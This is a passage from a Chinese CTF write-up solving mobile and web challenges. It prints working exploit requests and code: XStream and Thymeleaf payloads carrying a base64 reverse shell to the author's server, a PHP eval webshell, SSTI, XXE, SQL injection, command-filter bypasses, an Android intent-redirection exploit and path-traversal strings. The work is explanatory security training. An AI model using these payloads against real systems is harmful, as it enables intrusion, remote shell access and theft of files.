            output2[2 * i + 1] = str2[tmp]
        }
    }
    output2[2 * inputLen] = 0.toChar()
    println(output2.joinToString(""))
}

// 101E11010208090A

构造请求,发送,成功返回flag

构造请求

mobile-10 VM

反编译看一下,用java写了一个简单的虚拟机来执行代码,指令集也比较少。将代码提取出来转成了kotlin语言。

package com.sumygg.mictf2023.android_10

// @formatter:off
val opcode = intArrayOf(
 3, 0, 0, 0, 0, 0,
 3, 0, 0, 0, 0, 1,
 3, 0, 0, 0, 0, 2,
 3, 23, 0, 0, 0, 3,
 3, 3, 0, 0, 0, 4,
 3, 87, 4, 0, 0, 5,
 3, 127, 0, 0, 0, 6,
 3, /* a2 */ 25, 0, 0, 0, 7,

 2, 2, 0,
 9, 2,
 1, 3, 1,
 6, 4, 1,
 4, 5, 1,
 8, 6, 1,
 1, 1, 3,
 10, 0, 1,
 11, 10, // jump -> a1
 10, 2, 7,
 11, 222, // jump -> a2
 12,
 0,
 0,
 0, // a1
)
// @formatter:on

var tag = false
val dest =
    intArrayOf(37, 79, 78, 75, 66, 39, 85, 96, 2, 101, 17, 19, 25, 43, 97, 5, 110, 44, 100, 14, 10, 125, 89, 108, 38)
val checkDest = ArrayList<Int>()
fun vm() {
    val register = IntArray(8)
    var pos = 0
    var isRunning = true
    var tmp1 = 0
    while (isRunning) {
        var tmp2: Int
        when (opcode[pos]) {
            // 停机指令
            0 -> isRunning = false
            // op a b 将寄存器a的值赋值给寄存器b b = a
            1 -> {
                register[opcode[pos + 2]] = register[opcode[pos + 1]]
                pos += 2
            }

            // op a b 将寄存器a指向的数据加载到寄存器b b = load(a)
            2 -> {
                register[opcode[pos + 2]] = dest[register[opcode[pos + 1]]]
                pos += 2
            }

            // op x1 x2 x3 x4 e 将常量 x4x3x2x1 加载到寄存器e e = x
            3 -> {
                register[opcode[pos + 5]] =
                    opcode[pos + 1] + (opcode[pos + 2] shl 8) + (opcode[pos + 3] shl 16) + (opcode[pos + 4] shl 24)
                pos += 5
            }

            // op a b 寄存器a累加给寄存器b的值相加 b = a + b
            4 -> {
                register[opcode[pos + 2]] += register[opcode[pos + 1]]
                pos += 2
            }

            // op a b 寄存器a减寄存器b并赋值给寄存器b b = a - b
            5 -> {
                register[opcode[pos + 2]] = register[opcode[pos + 1]] - register[opcode[pos + 2]]
                pos += 2
            }

            // op a b 寄存器a乘以寄存器b并赋值给寄存器b b = a * b
            6 -> {
                register[opcode[pos + 2]] = register[opcode[pos + 1]] * register[opcode[pos + 2]]
                pos += 2
            }

            // op a b 寄存器a除以寄存器b并赋值给寄存器b b = a / b
            7 -> {
                register[opcode[pos + 2]] = register[opcode[pos + 1]] / register[opcode[pos + 2]]
                pos += 2
            }

            // op a b 寄存器b取余寄存器a并赋值给寄存器b b = b % a
            8 -> {
                register[opcode[pos + 2]] %= register[opcode[pos + 1]]
                pos += 2
            }

            // op a 寄存器a自加1
            9 -> {
                tmp2 = opcode[pos + 1]
                register[tmp2]++
                ++pos
            }

            // op a b 判断寄存器a和寄存器b的值是否相等
            10 -> {
                tmp2 = register[opcode[pos + 1]]
                tmp1 = register[opcode[pos + 2]]
                if (pos == 68) {
                    println("${tmp2}-${tmp1}")
//                    tmp2 = tmp1
                    checkDest.add(tmp1)
                }
                pos += 2
                tmp1 = tmp2 - tmp1
            }

            // op a 跳转指令
            11 -> {
                val p = opcode[pos + 1]
                tmp2 = pos
                if (tmp1 != 0) {
                    tmp2 = if (p < 128) {
                        p
                    } else {
                        p - 256
                    }
                    tmp2 = pos + (tmp2 - 2)
                }
                pos = tmp2 + 1
            }

            // 成功
            12 -> {
                tag = true
                println(checkDest.joinToString(","))
                ++pos
            }
        }
        ++pos
    }
}

fun main() {
    vm()
    val origin = intArrayOf(
        67,
        35,
        47,
        44,
        57,
        110,
        33,
        63,
        51,
        22,
        78,
        114,
        87,
        116,
        0,
        104,
        15,
        86,
        85,
        96,
        109,
        34,
        47,
        1,
        91
    )
    val sb = StringBuilder()
    for (i in origin.indices) {
        sb.append(Char(origin[i] xor dest[i]))
    }
    println(sb.toString())
}

代码做了简单的注释,也对opcode进行了分组。

大体含义,先对8个寄存器进行初始化,然后寄存器内的数字进行运算,与dest中的每一位进行比较。如果全部比较成功,则正常退出返回。

由于只是内部的值参数运算,而dest全程未参与,只是用于比较。于是这里做了个trick,在比较的指令码11里记录当前运算的值,并将比较结果强行置为true。这样vm不会因值不相等而退出,而且执行完成的结果就是最终的运算结果了。

别漏了apk反编译的java代码里的一个逻辑,将运算结果与初始数组进行异或,还原出原始的字符串。

mobile-11 重定向进阶

确定是bytectf的一道原题了,当时还有幸和同学一起做过

简单来说,flag是写在自己目录空间里的,其它应用没有直接访问的权限。而通过转发intent,就相当于使用转发中间人访问自己的资源,我们可以利用这次转发为资源授予读取权限。

难点在于怎么利用获取文件路径,构造provider的资源uri。

先看文件写入的地址,new File(this.getFilesDir(), "flag"),getFilesDir()获取的的自己目录空间下的/files目录。应用的目录空间在/data/data/[package_name]/下,所以这个文件写入的地址是/data/data/com.mictf.intent1/files/flag

然后构造一个content URI。

格式为:content://[authorities]/[name]/[file_relative_path]

  • authorities 在AndroidManifest.xml文件有提到,这里是android:authorities="com.mictf.flag"
  • name 代表根路径的别称,这个在/res/xml/file_paths.xml文件里,这里是
  • file_relative_path 就是上面写入的资源路径。

构造出来的contentURI就是

content://com.mictf.flag/root/data/data/com.mictf.intent1/files/flag

写个intent利用一下:

fun attack() {
    val pwn = Intent("PWN")
    pwn.setClassName("com.mictf.intent1", "com.mictf.intent1.MainActivity")
    pwn.data =
        Uri.parse("content://com.mictf.flag/root/data/data/com.mictf.intent1/files/flag")
    pwn.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION or
        Intent.FLAG_GRANT_WRITE_URI_PERMISSION)
   
    startActivityForResult(pwn, 0)
}

override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
    super.onActivityResult(requestCode, resultCode, data)
    if (data?.action == "PWN") {
        val intentData = data.data
        val isr = InputStreamReader(contentResolver.openInputStream(intentData!!))
        val buf = CharArray(1024)
        val sb = StringBuffer("")
        while (-1 != isr.read(buf, 0, 1024)) {
            sb.append(String(buf))
        }
        val flag = String(sb)
        Toast.makeText(this, flag, Toast.LENGTH_LONG).show()
    }
}

现象是先从attackapp跳转到对应的目标Activity,按back返回后,回到attackapp,同时Toast打印了flag文件里的内容。

Web

web-1 聊天室

为什么live2d展示不出来。。。

直接翻源码,找到flag

flag_in_source

web-2 风险组件

放出了hint,提到xStream组件。发现版本是1.4.10,洞洞很多。但是试了好久都没成功。最后终于发现,反弹shell写错了。。。

基本上都是利用xStream在发序列化xml时候的漏洞。。。

先在自己服务器上nc监听一个端口

nc -lvvp 8212

然后构造一个POC,提交。

POST /login HTTP/2
Host: vul-xs-ctf.dun.mi.com
Cookie: MIDUN-Cookie
Content-Length: 630
Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112"
Accept: application/json, text/plain, */*
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://vul-xs-ctf.dun.mi.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vul-xs-ctf.dun.mi.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

<sorted-set>
    <string>foo</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                          <string>/bin/bash</string>
                          <string>-c</string>
                          <string>
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMzUuNDguMzYvODIxMiAwPiYx77u/}|{base64,-d}|{bash,-i}
</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>

在项目目录就可以看到了flag文件了。

web-3 简单文件包含

先尝试一些协议,phpinput都无法使用,先用base64获取到upload.php源码

# /index.php?file=php://filter/read=convert.base64-encode/resource=upload.php

<?php
        if(isset($_FILES['upfile'])){
                $uploaddir = 'uploads/';
                $uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
                $ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);

                //检查文件内容
                $text = file_get_contents($_FILES['upfile']['tmp_name']);


                echo $ext;

                //检查文件后缀
                if (!preg_match("/ph.|htaccess/i", $ext)){

                        if(preg_match("/<\?php/i", $text)){
                                echo "你的文件内容有恶意代码<br>";
                        }
                        else{
                                move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);
                                echo "上传成功<br>路径为:" . $uploadfile . "<br>";
                        }
                } 
                else {
                        echo "恶意后缀<br>";
                        
                }
        }
?>

<!DOCTYPE html>
<html>
<head>
        <title>上传文件</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
        请不要上传php脚本哟
        <form action="upload.php" method="POST" enctype="multipart/form-data">
                <input type="file" name="upfile" value="" />
                <input type="submit" name="submit" value="提交" />
        </form>
</body>
</html>

过滤还是挺严格的,对后缀和内容都进行了判断。后来了解到除了<?php可以作为php脚本以外,html标签也可以<script language='php'>,于是上传一个该标签的脚本。

<script language='php'>
@eval($_POST['hack']);
</script>

蚁剑连接获取flag。

蚁剑连接

web-4 不安全的Redis服务

未认证的redis,找了几个利用方式,利用数据备份功能,条件都比较苛刻:

  • cron 反弹shell —— cron目录被删除
  • 写入ssh key —— ssh 拒绝连接
  • 写入php木马 —— 未提供php服务

后来找到一个利用主从加载so文件的利用方式,成功获取交互式shell

https://www.cnblogs.com/paperpen/p/11178751.html

在根目录下获取到flag

web-5 真假难辨

访问indes.php会自动跳转到index.php,从而出现404

用postman访问,禁用自动跳转,在header里找到了flag

postman禁止跳转

web-6 低版本的Flask

在url里填写name参数后,访问的页面会打印填入的内容,猜测是个模板引擎的执行漏洞。

找到了低版本Flask SSTI漏洞,flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入。

构造注入语句,可以执行任意的shell语句,找到flag文件cat获取

https://easyweb01.dun.mi.com/?name={{%27abc%27.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__[%27popen%27](%27cat%20flag%27).read()}}

这里比较麻烦的一个是如何获取os._wrap_close类来执行shell命令,通过查找发现在所有子类的118位。这个是慢慢试出来的。

web-7 粗心上线

这个题目前期给的信息很少,这里猜测了一下,是不是把目录直接拷贝上线了,没有注意.git目录的存在。访问 http://10.167.93.41/.git/ 出现了禁止访问的字样,说明这个目录是存在的。http://10.167.93.41/.git/HEAD/ 也成功获取到了最新分支。

剩下的就好办了,找到一个利用工具 https://github.com/lijiejie/GitHack ,执行命令

python3 GitHack.py http://10.167.93.41/.git/

会将远程的.git下载下来然后还原出flag文件。

web-8 ElasticSearch

es的远程执行,构造一个POST请求,获取到flag

POST https://ctf-es.dun.mi.com/_search?pretty

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /flag\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}

web-9 才开始学nginx

html源码提示了flag的位置

html注释提示了

猜测是个路径遍历问题,试了一下/files/果然列出了路径,构造一个指向/tmp目录的路径,下载flag文件拿到flag。

https://vul-nginx-ctf.dun.mi.com/files../tmp/

web-10 标准模板:欢迎光临

放出hint提示模板引擎使用了thymeleaf,看路径包含的页面是通过url参数传入的,构造POC执行反弹shell

PATH=
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xMC4yMzUuNDguMzYvODIxMiAwPiYx77u/}|{base64,-d}|{bash,-i}").getInputStream()).next()}__::.x
GET /welcome?path=__%24%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22bash%20-c%20%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4yMzUuNDguMzYvODIxMiAwPiYx77u%2f%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d%22).getInputStream()).next()%7d__%3a%3a.x HTTP/2
Host: vul-tm-ctf.dun.mi.com
 http/2: 
Cookie: MIDUNCOOKIE
Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

web-11 unserialize

题目提示给了两个参数file和data,file是一个文件包含命令,data的作用还不知道。

首先通过file将index.php的源码获取过来

http://10.167.34.63/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

base64解码后就变成了一个实际的代码审计题目

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/flag/i", $file)){
        die("我知道你知道了文件位置,但请不要直接获取它");
    }
    else{
        include "$file";
    }
}


class Example {
    public $file;

    function __destruct() {
        if(file_exists($this->file)) {
            echo file_get_contents($this->file);
        }
    }
}

if (isset($_GET['data'])) {
    $s_data = $_GET['data'];
    $uns_data = unserialize($s_data);

    if ($uns_data instanceof Example) {
        echo "Data unserialized successfully.";
    } else {
        echo "Invalid data.";
    }
} else {
    echo "flag? Try file= or data= ";
}
?>

关键是对data处理,首先将data反序列化,然后Example在销毁的时候会自动打印 $file 的内容。 于是就想到序列化构造一个数据,然后通过data反序列化来赋值 $file 参数,最终获取flag内容。

构造Example序列化数据

<?php
print("Hello, World\n");
class Example {
    public $file = "/flag.txt";

    function __destruct() {
        if(file_exists($this->file)) {
            echo file_get_contents($this->file);
        }
    }
}
$a = new Example();
print(var_dump(serialize($a)));
?>
// string(45) "O:7:"Example":1:{s:4:"file";s:9:"/flag.txt";}"

构造url执行

http://10.167.34.63/index.php?file=php://filter/read=convert.base64-encode/resource=index.php&data=O:7:"Example":1:{s:4:"file";s:9:"/flag.txt";}

web-12 不安全的代理服务

这个题没太懂,就是一个页面放了一会儿,刷刷的在跑流量。

流量监测

发现有的public接口里附带了基本的认证参数,flag接口提示未认证。就想到重放flag接口,并添加认证参数。

重放请求

成功获取了flag。

web-13 php-audit

php源码审计题目,发现禁止请求localhost,但是又告诉你flag在哪里

php源码

利用curl的file协议,访问本地文件,构造url,获取flag

http://10.167.34.65/index.php?url=file:///var/www/html/flag.php

结果

web-14 jenkins

给了一个jenkins系统,未登录。试了一下弱口令admin/admin,居然登录进去了。开始找能列目录的地方。找了几圈在节点管理里发现一个执行命令的输入框。

jenkins脚本命令行

查找flag的位置,最后输出flag。

web-15 一个blog

文件包含,html里提供了包含的源码

$page = $_GET['page'];
$allowed_pages = array('home', 'about', 'contact');

if(isset($page) && !in_array($page, array('flag'))){
include($page . '.php');
} else {
include('home.php');
}

可以发现,只要page参数不等于flag,就直接与.php拼接然后include进来。

所以,可以使用相对路径绕过对黑名单的判断page=./flag

web-16 认证绕过

这个题刚开始无从下手,就在乱试。页面就提供了一个/doLogin接口和登录失败提示可以通过/flag/get获取flag。

开始想到sql注入,但是这个题目标题不像是通过sql进行操作的样子。于是就找响应的可以点。

有个可以点是/doLogin接口会将RememberMe的cookie删掉。通过这个关键词入手,发现shiro存在认证绕过漏洞。

有两类,一类是通过爆破Remember的加密方式,获取加密密钥修改权限。这个题目没有RememberMe的相关功能。

第二类是构造特殊路径,绕过shiro的权限对路径的判断。尝试了几个,发现CVE-2020-13933可以使用。成功获取flag。

GET /flag/%3bget HTTP/1.1

web-17 文件解析器

hint说可以解析xml。。。谷了一下有个Blind XXE实体引入的可以利用。而且也能正常回显。剩下的问题是flag的路径在哪里?随便猜了几个,运气好猜到了。。。

POST /upload HTTP/1.1
Host: 10.167.191.230:8080
Content-Length: 361
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.167.191.230:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycLlwfudSbAubDEQp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.167.191.230:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarycLlwfudSbAubDEQp
Content-Disposition: form-data; name="file"; filename="island_extend.png"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "file:///flag.txt">
]>
<reset><login>&file;</login><secret>Any bugs?</secret></reset>

------WebKitFormBoundarycLlwfudSbAubDEQp--

web-18 SELF GPT - 1

是个比较有名的开源项目 https://github.com/binary-husky/gpt_academic ,先下载代码看了一下。

issue里有人提到了项目存在漏洞,但是没有后文了。

然后就放在那里没有理它。。。

==================One Year Later================

想起来又拿出来看看。开始找python相关的漏洞。

  • 首先想到的是有没有调用系统shell执行命令的地方。发现了一个调用系统命令wget下载文献的地方,但是被注释了。
  • 项目使用了上传和解压压缩文件的功能。搜了一下,相关利用方式是上传一个带软链的目录,访问任意目录。
  • 上传的文件怎么下载下来。发现有个下载文件的接口,开放了/tmp/gradio/[随机串]的临时目录,和private_upload/[日期时间]/[上传文件名]的目录。只能访问到具体文件,没有列目录的能力。 文件上传下载
  • 然后开始构造软链,测试文件。
    • /etc/hosts 可以访问
    • /etc/passwd 可以访问
    • /home/work 没有内容
    • ../../.././xxxxxxxx/flag等可能的flag文件,没有找到
    • /root/.bash_history 没有权限
    • 又试了几个目录,../的软链会递归,然后用根目录的软链的话,程序会卡死。。。
  • 尝试了好多种方法没有突破。问题就卡在如何通过列目录找到flag文件(有点想放弃)
  • 猛然间想到要不从项目本身的文件找找突破口? 自身文件
  • 构造了一个返回上几级的软链,看了一下这几个文件的内容,最后终于在config.py发现了硬编码的flag。flag{9fdeb6b22d04f449360f99414397055e} config中的flag

web-19 粗心的程序员!

这个题的点比较多,需要各个击破。

第一个点是vim,很容易想到了vim的交换文件,访问 .index.php.swp 获取到交换文件。

执行 vim -r .index.php.swp 还原出原文件。

<?php

include("conn.php");

$username = addslashes($_GET["username"]);
$age = addslashes($_GET["age"]);
$password = addslashes($_GET["password"]);
$password1 = addslashes($_GET["password1"]);

$sql = "SELECT username, age FROM user_info";
$sub_sql = " AND username = '{$username}'";
$sql = sprintf("SELECT username, age FROM user_info WHERE age = '%s'".$sub_sql, $age);
echo "<!--".$sql."-->";
$result = $conn->query($sql);

if ($result->num_rows > 0) {
    while($row = $result->fetch_assoc()) {
        if ($row["age"] == 999 && $password != $password1 && md5($password) == md5($password1)) {
                    echo "Congratulations! Flag is ".$flag;
                    die();
        } else {
            echo "My name is:".$row["username"];
            echo "<br>";
            echo "My Age is:" . $row["age"];
            die();
        }
    }
} else {
    echo "My name is:".$row["username"];
            echo "<br>";
            echo "My Age is:" . $row["age"];
            echo "<br>";
            echo "I am a coder. My favorite IDE is VIM, do you like it?";
    die();
}

$conn->close();
?>

第二个是sprintf+addslashes的SQL注入,只要构造 %1$' or 1# 在addslashes的作用下在单引号前面会插入一个\,当传入sprintf时%就会‘吞掉’后面的\,从而‘’’逃逸出来,完成注入。

第三个需要跳过第18行的三个判断条件:

  1. 年龄等于999,这怎么可能。可以在sql后面通过union all的方式补充一条假的数据 %1$' union all select 1, 999 #
  2. password和password1的值不相等,但是md5运算却相等。刚开始想到了md5碰撞,但是后来想了想不应该这么复杂,就发现了PHP有个隐式转换的缺陷,PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。 构造例子 QNKCDZO 240610708 当然,安全的比较方法是三个=,也就是“===”。

完成以上所有的点之后,最终构造出来的url就有了。请求获取flag

https://sqli-ctfd.dun.mi.com/index.php?username=%1$' union all select 1, 999 %23&age=999&password=QNKCDZO&password1=240610708

web-21 一个网络测试工具

这个题目传递一个ip参数,会对这个参数执行ping命令。想到了后端是不是使用了命令拼接直接交个shell执行。尝试分隔命令,引入自己的命令。

试了几个分隔符都不行,而且使用了黑名单的分隔符会出现禁止访问的页面。(试分隔符卡了好久。。。)

忽然想到ip的内容会回显到页面,可不可以通过二次运算的方式让执行命令的结果通过ping命令的报错回显出来。按照这个思路配合base64编码绕过字符检测,成功获取到了文件内容。

// cat index.php
$($(base64 -d <<< Y2F0IGluZGV4LnBocA==))

// cat /etc/getflag.php
$($(base64 -d <<< Y2F0IC9ldGMvZ2V0ZmxhZy5waHA=))

可以看一下被困扰了好久的庐山真面目:

GET /?ip=%24(%24(base64%20-d%20%3c%3c%3c%20Y2F0IGluZGV4LnBocA%3d%3d)) HTTP/2
Host: vul-php1-ctf.dun.mi.com

HTTP/2 200 OK
Date: Thu, 11 May 2023 12:16:22 GMT
Content-Type: text/html; charset=UTF-8
Server: MonKing/3.14
Xiaomi-Security-Center: if any vulnerability found, go https://sec.xiaomi.com
X-Proxy-Node: 6DFF018CAF79FBEC

ping: IDN encoding of ''<?php<br />
#flag在/etc/getflag.php<br />
if (isset($_GET['ip'])) {<br />
    $ip = $_GET['ip'];<br />
    $in_ip = escape_shell_arg($ip);<br />
    $ping_result = run_with_timeout("ping -c 2 \"$in_ip\"", 4);<br />
    echo nl2br($ping_result);<br />
} else {<br />
    echo "请传递 ip 参数!";<br />
}<br />
<br />
function escape_shell_arg($arg) {<br />
    // 对字符串中的单引号、双引号、&、|、;、`等字符进行过滤<br />
    if (preg_match("/['\"&|;`]/", $arg)) {<br />
        http_response_code(403);<br />
        exit;<br />
    }<br />
<br />
    return escapeshellarg($arg);<br />
}<br />
<br />
function run_with_timeout($cmd, $timeout) {<br />
    $output = null;<br />
    $pipes = null;<br />
<br />
    // 创建一个子进程并执行命令<br />
    $process = proc_open($cmd, [['pipe', 'r'], ['pipe', 'w'], ['pipe', 'w']], $pipes);<br />
    <br />
    if (is_resource($process)) {<br />
        stream_set_blocking($pipes[1], 0); // 非阻塞读取标准输出<br />
        stream_set_blocking($pipes[2], 0); // 非阻塞读取标准错误<br />
        $start_time = time();<br />
<br />
        while (true) {<br />
            // 检查子进程是否已经结束<br />
            $status = proc_get_status($process);<br />
            if (!$status['running']) {<br />
                break;<br />
            }<br />
<br />
            // 读取标准输出和标准错误<br />
            $stdout = stream_get_contents($pipes[1]);<br />
            $stderr = stream_get_contents($pipes[2]);<br />
<br />
            // 如果超时则杀死子进程并退出<br />
            if (time() - $start_time >= $timeout) {<br />
                proc_terminate($process);<br />
                return "Command execution timed out!";<br />
            }<br />
<br />
            // 暂停一段时间再继续读取<br />
            usleep(10000);<br />
        }<br />
<br />
        // 读取子进程退出时的标准输出和标准错误<br />
        $output = stream_get_contents($pipes[1]);<br />
        $output .= stream_get_contents($pipes[2]);<br />
        fclose($pipes[0]);<br />
        fclose($pipes[1]);<br />
        fclose($pipes[2]);<br />
        proc_close($process);<br />
    }<br />
<br />
    return $output;<br />
}<br />
<br />
?>'' failed with error code 9<br />

web-22 文件预览服务器

访问地址,提示提供filepath,随便试了几个,只是返回“文件不存在”。

试了下index.php,发现返回了源码。

文件源码

源码告诉了flag的位置和基本的代码逻辑。

看注释,说是不能包含两个连续的上一级,那就用当前目录隔开就行了。构造filepath获取flag。

filepath=.././.././../etc/flag.php

web-23 PHP IS BEST

php源码审计题

<?php
include 'flag.php';
extract($_GET);
if (!empty($one))
{
    $three = trim(file_get_contents($two));
    if ($one === $three)
    {
        echo "<p>恭喜:" ." $flag</p>";
    }
    else
    {
        echo "<p>继续加油!</p>";
    }
}
else
{
    highlight_file(__FILE__);
}
?>

从get参数的two传递一个路径,获取这个路径的值,并且与one中的值比较,如果相等则输出flag。

这个题目的关键是如何将two的值变为我们可控的一个值,正好file_get_contents支持获取base64编码的data值,由此构造一个请求。

http://10.167.15.103/?one=mictf&two=data%3a%2f%2ftext%2fplain%3bbase64%2cbWljdGY%3d

web-24 简约但不简单

ping命令绕过,找到了一个原题。

首先获取index.php代码,绕过空格。 ?ip=1;cat$IFS$1index.php

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  // $a = shell_exec("ping -c 4 ".$ip);
  $a = shell_exec("ping ".$ip);
  echo "

";
  print_r($a);
}

?>

看到代码确定是原题了。用拼接的方法,绕过对flag顺序的检测 ?ip=1%3ba%3dag.php%3bb%3dfl%3bcat%24IFS%241%24b%24a

web-25 神奇的计算器

随便输入一个表达式,会自动包裹#{}然后返回表达式结果,猜测是spEL的表达式引擎。spEL表达式可以通过T()获取类,然后利用内部的类执行一些命令。

思路是这样,实际操作过程中,发现过滤了很多关键词

getClass
exec
lang
forName

这就导致getClass()然后forName()获取对应类的方法无法使用了。

试了好几个方法,终于发现一个读文件的方式没有被过滤,根据前几个Java题猜测(可能是一个人出的题目)flag的文件名是flag.txt。写入脚本成功获取flag。

expression=#{new java.util.Scanner(new java.io.File("flag.txt")).next()}

web-26 天女散花

上来给了一个页面,试了一下,发现跳转到error.html,开始猜测页面地址。最后猜到了success.html有内容。

入口页面

提供了四个页面,前三个每个页面的源码都能看到一段flag。

页面1

页面2

页面3

最后一个页面通过链接跳转不过去,看页面分布情况,猜测最后一个页面地址是04.html

隐藏的页面4

拼凑出来提交flag。

web-27 想获取flag吗

提示给出来说要先获取源码,查看提示可以尝试包含ma.php。在index.php试了几个参数,发现file=可以包含。获取index.php和ma.php的源码。

/?file=php://filter/convert.base64-encode/resource=ma.php
/?file=php://filter/convert.base64-encode/resource=index.php

这里重点看一下ma.php的源码,是一个绕过

<?php
error_reporting(0);
function blacklist($cmd){
  $filter = "(\\<|\\>|php|curl| |0x|\\\\|python|gcc|less|root|etc|pass|http|ftp|cd|tcp|udp|cat|×|flag|ph|hp|wget|type|ty|\\$\\{IFS\\}|index|\\*)";
  if (preg_match("/".$filter."/is",$cmd)==1){  
      exit('Go out! This black page does not belong to you!');
  }
  else{
    system($cmd);
  }
}
blacklist($_GET['cmd']);
?>

看样子禁用了空格,一些基本的查看命令,尝试了几种方法,最后用base64编码+空格绕过的方式获取到的flag。

/ma.php/?cmd=echo$IFS$9Y2F0IC9mbGFnLnR4dA==|base64$IFS$9-d|bash

空格使用 $IFS$9 绕过,命令编码base64,内容是 cat /flag.txt

web-28 神奇的魔方

开始给了个页面,是个魔方游戏。开始找页面源码的内容。

源码

这段奇怪的混淆最终证明确实是控制台输出的那些文本。。。

然后看到了请求头里返回的服务器名称openresty/1.21.4.1有什么漏洞可以用,找了一下也没有。。。

注意到网站会把不存在的资源返回index.gk的内容,试了一个static和uploads里常用的路径(例如/static/index.css),发现不太行。(事后发现,直接访问/uploads路径就出来了)。。。考虑到一个一个猜比较麻烦,就上路径扫描了。

# sumy @ SumyDeMBP in ~/PycharmProjects/dirmap on git:master
$ python3 dirmap.py -i http://10.167.181.96/ -lcf

                     #####  # #####  #    #   ##   #####
                     #    # # #    # ##  ##  #  #  #    #
                     #    # # #    # # ## # #    # #    #
                     #    # # #####  #    # ###### #####
                     #    # # #   #  #    # #    # #
                     #####  # #    # #    # #    # #   v1.0

[*] Initialize targets...
[+] Load targets from: http://10.167.181.96/
[+] Set the number of thread: 30
[+] Coroutine mode
[+] Current target: http://10.167.181.96/
[*] Launching auto check 404
[+] Checking with: http://10.167.181.96/avrescwitssamcofbyccnslxyowtryrdinlrmdyuaq
[*] Use recursive scan: No
[*] Use dict mode
[+] Load dict:/Users/sumy/PycharmProjects/dirmap/data/dict_mode_dict.txt
[*] Use crawl mode
[200][application/octet-stream][6.00kb] http://10.167.181.96/.DS_Store
[200][application/octet-stream][0b] http://10.167.181.96/common
[200][application/json; charset=utf-8][43.00b] http://10.167.181.96/download
[200][text/html][1.07kb] http://10.167.181.96/index.html
[200][text/html][2.17kb] http://10.167.181.96/templates/
[200][text/html][334.00b] http://10.167.181.96/uploads/
100% (5715 of 5715) |##############################################| Elapsed Time: 0:02:44 Time:  0:02:44
(base)

发现有个下载路径/download指定file可以下载文件。尝试下载/download?file=/flag/flag.txt,感觉没那么容易。会删除ag/../这两个字符串。

这好说,构造一下就行了:

  • ..././ 代替 ../
  • agag// 代替 ag/

最终获取flag。

请求结果

web-29 拿到管理员权限就能得到flag啦!

